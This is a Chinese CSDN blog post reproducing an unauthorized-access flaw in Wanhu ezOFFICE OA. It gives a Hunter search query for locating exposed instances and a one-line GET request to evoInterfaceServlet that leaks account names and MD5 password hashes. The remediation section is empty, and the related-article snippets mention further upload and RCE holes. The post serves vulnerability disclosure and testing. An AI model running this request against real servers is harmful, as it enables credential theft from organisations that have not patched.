【漏洞复现】万户协同办公平台未授权访问漏洞

最新推荐文章于 2024-05-29 16:05:37 发布
最新推荐文章于 2024-05-29 16:05:37 发布
阅读量499 收藏
点赞数
分类专栏： 网络安全 web安全 渗透测试 漏洞复现 文章标签： web安全 渗透测试 网络安全 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/u010025272/article/details/132560360
版权

漏洞描述

万户ezOFFICE协同管理平台涵盖门户自定义平台、信息知识平台管理、系统管理平台功能，它以工作流引擎为底层服务，以通讯沟通平台为交流手段，以门户自定义平台为信息推送显示平台，为用户提供集成的协同工作环境。该平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。
在这里插入图片描述

免责声明

技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！

资产确定

hunter语法：

app.name="万户 Ezoffice OA"

漏洞复现

漏洞poc


GET /defaultroot/evoInterfaceServlet?paramType=user HTTP/1.1
Host:

在这里插入图片描述

修复方案

丢了少年失了心1
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
订阅专栏
【漏洞复现】万户OA-AdminService-RCE
知黑而守白
01-19 180
万户OA ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品，统一的基础管理平台，实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网站群和协同办公平台，将外网信息维护、客户服务、互动交流和日常工作紧密结合起来，有效提高工作效率。万户OA存在一处远程代码执行漏洞，使得攻击者可以通过构造特定的请求远程执行恶意代码。此漏洞可能导致攻击者获取系统权限、执行任意命令，严重威胁系统的机密性和完整性。
万户OA漏洞分析、利用与防护
不忘初心，护天下安全！
09-29 3364
万户OA 除了 /defaultroot/officeserverservlet 接口外的另一处接口 OfficeServer.jsp 同时也存在任意文件上传漏洞，导致攻击者可上传任意文件获取服务器权限。万户OA download_ftp.jsp文件存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。万户OA download_old.jsp文件存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。2.使用防火墙等设备对所有相关poc进行检测、防护。可直接上传恶意jsp文件。
【护网必备】OA配置文件解密神器
最新发布
Fly_鹏程万里
05-29 161
在后渗透测试阶段我们获取到目标服务器的权限后可以对目标服务器上的配置文件进行一些检索，查看是否存在明文的数据库链接账号密码，随后链接数据库获取关键核心数据信息，而在此攻防演练中我们会遇到很多OA类系统的场景，其中有不少是直接加密存储的，不过由于加密(编码处理)的算法过于简单或者密钥硬编码从而导致可以进行反解，DecryptOA目前集成了万户、蓝凌、致远、帆软、用友配置文件的解密能力。
万户OA upload任意文件上传漏洞复现
0xSec
11-20 1290
万户ezOFFICE协同管理平台upload接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过此漏洞上传恶意后门文件，造成代码执行或服务器失陷。
万户oa漏洞复现
计算机毕业论文源码，学生个人网页制作html源码。贴近用户做网络推广和互联网优化。
10-25 2249
万户oa漏洞复现：万户oa漏洞详情 /defaultroot/officeserverservlet 路径存在文件上传漏洞 万户oa漏洞复现 POST /defaultroot/officeserverservlet HTTP/1.1 Host: XXXXXXXXX:7001 Content-Length: 782 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://XXXXXXXX7001 User-Agent
万户协同办公平台 ezoffice未授权访问漏洞
xiaokp7的博客
09-13 799
万户ezOFFICE协同管理平台是一个综合信息基础应用平台。万户ezoffice协同管理平台存在未授权访问漏洞，攻击者可以从evoInterfaceServlet接口获得系统登录账号和用MD5加密的密码。
漏洞复现-万户ezOFFICE系列
aming小老弟
03-12 1276
万户OA[+]万户协同办公平台 ezoffice存在未授权访问漏洞wanhu_office|app=“万户ezOFFICE协同管理平台”万户ezEIP。
万户ezOFFICE数据字典
04-02
万户ezOFFICE数据字典
zookeeper未授权访问修复建议
07-14
ZooKeeper 未授权访问修复建议 ZooKeeper 作为一个分布式应用程序协调服务，提供了高效、可靠的分布式锁、队列、节点管理等功能。但是，如果 ZooKeeper 没有正确地配置访问权限，就可能会出现未授权访问的问题，...
【漏洞复现】万户OA file2Html.controller 远程文件下载漏洞（RCE）
sheep_qm的博客
01-30 503
万户OA（Office Automation）是一款企业级协同办公管理软件，旨在为企业提供全面的办公自动化解决方案。 万户ezOFFICE存在任意文件上传漏洞。攻击者可以通过该远程下载任意文件到目标服务器，导致攻击者可获取服务器控制权限。
万户OA jsp/view.jsp反射型XSS漏洞分析与自动化验证脚本
afei001
01-09 329
万户OA jsp/view.jsp反射型XSS漏洞分析与自动化验证脚本。
Goby 漏洞更新 ｜ 万户 OA OfficeServer.jsp 任意文件上传漏洞
m0_46699477的博客
04-27 1727
ezOFFICE OA是面向政府机关、企事业单位的FlexOffice独立安全协同办公平台。 ezOFFICE OA OfficeServer jsp存在任意文件上传漏洞，攻击者可通过该漏洞上传任意文件控制整个服务器。
万户OA某接口存在RCE漏洞-0day未公开漏洞
weixin_43167326的博客
02-02 447
万户软件网络是业内普遍认可的智慧政务办公专家,OA系统国家行业标准编制组长单位,协同软件国家行业标准编制组长单位,22年专注协同管理领域.为您提供定制化的智慧政务一体化办公解决方案。
万户OA ezOffice RhinoScriptEngineService 命令执行漏洞-1day未公开漏洞
weixin_43167326的博客
02-26 502
万户OA RhinoScriptEngineService接口存在命令执行漏洞，此漏洞可能导致攻击者获取系统权限、执行任意命令，严重威胁系统的机密性和完整性。
万户OA RhinoScriptEngineService 命令执行漏洞
weixin_43567873的博客
03-10 147
万户OA RhinoScriptEngineService 命令执行漏洞
Elasticsearch未授权访问漏洞复现
05-18
Elasticsearch未授权访问漏洞是指攻击者可以通过访问Elasticsearch的默认端口（9200）获取敏感信息，甚至可以对数据进行修改和删除。下面是一个简单的复现过程： 1. 下载安装Elasticsearch 首先需要下载并安装Elasticsearch，可以从官网 https://www.elastic.co/downloads/elasticsearch 下载适合自己操作系统的版本。安装完成后启动Elasticsearch。 2. 测试未授权访问 使用curl命令访问Elasticsearch的默认端口，可以看到返回的json格式数据，其中包含了Elasticsearch的版本信息、集群名称等。 ``` curl http://localhost:9200/ ``` 如果返回的结果中包含了类似以下内容，说明Elasticsearch存在未授权访问漏洞。 ``` { "name" : "node-1", "cluster_name" : "elasticsearch", "cluster_uuid" : "zZl94mWlQq6RQlN4WmAz5w", "version" : { "number" : "7.9.3", "build_flavor" : "default", "build_type" : "tar", "build_hash" : "c4138e51121ef06a6404866cddc601906fe5c868", "build_date" : "2020-10-16T10:36:16.141335Z", "build_snapshot" : false, "lucene_version" : "8.6.2", "minimum_wire_compatibility_version" : "6.8.0", "minimum_index_compatibility_version" : "6.0.0-beta1" }, "tagline" : "You Know, for Search" } ``` 3. 利用未授权访问漏洞 利用未授权访问漏洞可以进行一些危害性较大的操作，比如删除数据、创建索引等。这里我们只演示一下获取敏感信息的操作。 使用curl命令访问Elasticsearch中的某个索引，可以看到其中包含了一些敏感信息，比如用户名、密码等。 ``` curl http://localhost:9200/_cat/indices ``` 如果返回的结果中包含了类似以下内容，说明存在敏感信息泄露。 ``` yellow open .kibana_task_manager_1 6rJQh5E8R0yUH9WdPQzLrw 1 1 3 0 35.4kb 35.4kb yellow open .kibana_1 5QZvZnS-QOyvZBTl2t6bKg 1 1 2 0 13.4kb 13.4kb ``` 4. 解决方法 为避免Elasticsearch的未授权访问漏洞，可以进行以下操作： - 修改配置文件中的network.host配置，限制Elasticsearch只能在特定的IP地址或网段上运行。 - 启用Elasticsearch的安全特性，比如启用访问控制、数据加密等。 以上是Elasticsearch未授权访问漏洞的简单复现过程，希望对您有帮助。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丢了少年失了心1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值